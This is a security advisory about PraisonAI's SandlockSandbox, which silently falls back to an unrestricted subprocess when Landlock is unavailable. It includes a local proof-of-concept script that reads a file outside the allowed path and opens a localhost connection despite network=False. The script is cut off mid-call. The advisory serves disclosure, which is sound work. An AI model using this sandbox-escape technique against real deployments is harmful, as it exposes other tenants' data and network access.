PraisonAI SandlockSandbox falls back to unrestricted subprocess execution when Landlock is unavailable

When

2026-06-18 14:27 UTC

Where

Global (internet)

Category

cyber_advisory · pip

## Summary `praisonai.sandbox.SandlockSandbox` is documented and implemented as the kernel-enforced sandbox backend for untrusted code. Its `SandboxConfig.native()` path lets callers configure allowed filesystem paths and `network=False`. On systems where the optional `sandlock` module imports but reports that Landlock is unavailable, `SandlockSandbox.execute()` and `run_command()` do not fail closed. They silently fall back to `SubprocessSandbox(self.config)`. That fallback keeps the same high-level native policy object but does not enforce the native filesystem or network boundary during code execution. A sandboxed payload can read files outside the configured allowed path and open network connections despite `network=False`. ## Technical Details `SandboxConfig.native()` creates a restricted native policy and records caller-provided writable paths plus the requested network posture: ```python return cls( sandbox_type="native", working_dir=os.getcwd(), security_policy=SecurityPolicy( allow_network=network, allow_file_write=True, allow_subprocess=True, allowed_paths=resolved_paths, ), metadata={"writable_paths": resolved_paths, "network": network}, ) ``` `SandlockSandbox` builds the intended kernel policy with Landlock-backed filesystem allowlisting and network denial: ```python policy = Policy( fs_readable=allowed_read_paths, fs_writable=allowed_write_paths, net_allow_hosts=[] if not limits.network_enabled else None, max_memory=f"{limits.memory_mb}M", max_processes=limits.max_processes, max_open_files=limits.max_open_files, ) ``` However, both execution paths fail open when Sandlock is unavailable: ```python if not self.is_available: logger.warning("Sandlock not available, falling back to subprocess") from .subprocess import SubprocessSandbox fallback = SubprocessSandbox(self.config) return await fallback.execute(code, language, limits, env, working_dir) ``` `SubprocessSandbox.execute()` writes the code to a temp file and runs `python` with a minimal environment and POSIX rlimits. It does not install a filesystem sandbox, network namespace, syscall filter, chroot, Landlock policy, or path allowlist for the code execution path. The `safe_sandbox_path()` checks only protect the `read_file()`, `write_file()`, and `list_files()` helper methods. ### Why This Is Not Intended Behavior The report is not based only on a trust-model disagreement. The code and docs define a concrete boundary: - PraisonAI's Sandlock README says the backend provides kernel-level filesystem allowlisting, network isolation, seccomp filtering, and blocks `/etc/passwd`, SSH keys, AWS credentials, and unauthorized connections. - The security demo creates `SandboxConfig.native(writable_paths=["./safe_workspace"], network=False)` and labels file and network access as blocked operations. - The upstream `sandlock` package requires Linux with a compatible Landlock ABI and documents a fail-closed default for missing required protections unless the caller explicitly opts into degraded protection. - PraisonAI's own current security page recommends sandboxed execution and says path traversal protection is enabled by default for local sandbox backends. The bug is the silent fallback from an unavailable kernel-enforced boundary to plain subprocess execution without preserving the configured native policy. ## PoV Run from a PraisonAI source checkout: ```bash python3 poc/pov_poc.py \ --repo /path/to/PraisonAI ``` The PoV: 1. injects a fake `sandlock` module that imports successfully but reports no usable Landlock support; 2. configures `SandboxConfig.native(writable_paths=[tenant_a], network=False)`; 3. creates `tenant-b-secret.txt` outside the configured path; 4. starts a localhost TCP listener; 5. executes code through `SandlockSandbox.execute()`. Observed result on `v4.6.58`: ```json { "child_output": { "network_reply": "local-ok", "outside_read": "TENANT_B_CANARY" }, "configured_network": false, "outside_path_under_allowed": false, "sandlock_available": false, "sandbox_type": "sandlock", "status": "COMPLETED", "vulnerable": true } ``` This proves both policy boundaries are crossed: - the file read target is not under the configured allowed path; - the localhost network connection succeeds even though the native policy was created with `network=False`. Full PoV script: ```python #!/usr/bin/env python3 """Local-only PoV for poc. The PoV simulates a system where the optional ``sandlock`` Python package is installed but kernel Landlock support is unavailable. That is the exact branch handled by ``SandlockSandbox.execute()``: it logs a warning and falls back to ``SubprocessSandbox``. No external network is used. The network control is a localhost TCP listener. No sensitive host files are read. The filesystem control uses temporary tenant directories and a canary file outside the configured writable path. """ from __future__ import annotations import argparse import asyncio import contextlib import json import os import pathlib import socket import sys import tempfile import types from typing import Any def _repo_paths(repo: pathlib.Path) -> list[str]: return [ str(repo / "src" / "praisonai"), str(repo / "src" / "praisonai-agents"), ] async def _accept_once(server: socket.socket) -> str | None: loop = asyncio.get_running_loop() def accept() -> str: conn, _ = server.accept() with conn: data = conn.recv(128) conn.sendall(b"local-ok") return data.decode("utf-8", "replace") with contextlib.suppress(Exception): return await loop.run_in_executor(None, accept) return None async def run_pov(repo: pathlib.Path) -> dict[str, Any]: sandlock_path = repo / "src" / "praisonai" / "praisonai" / "sandbox" / "sandlock.py" if not sandlock_path.exists(): return {"repo": str(repo), "has_sandlock": False, "vulnerable": False} sys.path[:0] = _repo_paths(repo) # Support both the original v4.5.110 API check and the current v4.6.58 API # check while forcing the "Sandlock not available" branch. sys.modules["sandlock"] = types.SimpleNamespace( is_available=lambda: False, landlock_abi_version=lambda: 0, ) from praisonai.sandbox.sandlock import SandlockSandbox from praisonaiagents.sandbox import ResourceLimits, SandboxConfig with tempfile.TemporaryDirectory(prefix="poc-") as temp_root: base = pathlib.Path(temp_root) # Make the PoV deterministic on systems where "python" is not on PATH. bindir = base / "bin" bindir.mkdir() (bindir / "python").symlink_to(sys.executable) allowed = base / "tenant-a" allowed.mkdir() outside = base / "tenant-b-secret.txt" outside.write_text("TENANT_B_CANARY", encoding="utf-8") server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(("127.0.0.1", 0)) server.listen(1) server.settimeout(5) port = server.getsockname()[1] config = SandboxConfig.native(writable_paths=[str(allowed)], network=False) sandbox = SandlockSandbox(config=config) await sandbox.start() code = f""" import json import socket result = {{}} try: with open({str(outside)!r}, "r") as f: result["outside_read"] = f.read() except Exception as exc: result["outside_read_error"] = type(exc).__name__ + ": " + str(exc) try: s = socket.create_connection(("127.0.0.1", {port}), timeout=3) s.sendall(b"hello") result["network_reply"] = s.recv(32).decode("utf-8", "replace") s.close() except Exception as exc: result["network_error"] = type(exc).__name__ + ": " + str(exc) print(json.dumps(result, sort_keys=True)) """ accept_task = asyncio.create_task(_accept_once(server)) result = await sandbox.execute( code,

Sources

• GitHub Advisory Database ↗ · first seen 2026-06-18 14:27 UTC

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